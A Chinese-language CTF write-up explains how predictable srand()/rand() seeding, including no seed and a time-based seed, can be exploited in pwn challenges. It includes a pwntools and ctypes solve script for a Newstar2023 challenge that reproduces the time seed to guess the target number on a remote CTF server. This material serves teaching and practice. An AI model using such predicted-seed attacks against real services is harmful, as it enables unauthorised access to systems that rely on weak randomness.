随机数利用

PWN中的随机数漏洞

0x00 前言

pwn中经常使用**srand()rand()配合使用来设置伪随机数。通常当我们输入的数可以覆盖到srand()中的值时,我们可以预测rand()**产生固定序列。当对随机性要求不高的时候可以直接使用rand()函数是没问题的,但是因为其并不是真的随机数,只是在一定范围内是随机的而已,有周期的。但如若设置了随机数发生器,并以时间戳为种子,这样就加强了随机性的强度。

0x01 关于srand()和rand()

srand()

srand()为初始化随机数发生器,用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型,通常我们会使用time(0)或time(NULL)的返回值作为seed。

rand()

​ **rand()**函数是使用线性同余法做的,它并不是真的随机数,因为其周期特别长,所以在一定范围内可以看成随机的。

利用点

​ 主要有两点:

  • 调用**rand()前没有使用srand()**设置种子,此时系统自动调用 srand(),并传参为1.
  • 使用相同种子(srand函数传参值相同),调用 **rand()**生成的是相同随机数序列。

tools—–ctypes库

1
2
3
4
5
6
from pwn import *
from ctypes import *
``````
libc=cdll.LoadLibraary('./libc.so.6')
``````
num=str(libc.rand()%a+b) #(a,b为范围)

0x03示例

Newstar2023 week2 sercetnum

这题的快捷解法就是,利用srand(v3),通过ctypes库,解出v5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

io = remote('node4.buuoj.cn',28725)
elf = ELF('./111')
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

seed=libc.time(0)
libc.srand(seed)
num1=libc.rand()

io.sendlineafter(b'Give me some gift?(0/1)\n',b'0')
io.sendlineafter(b'Guess the number\n',str(num1))
io.interactive()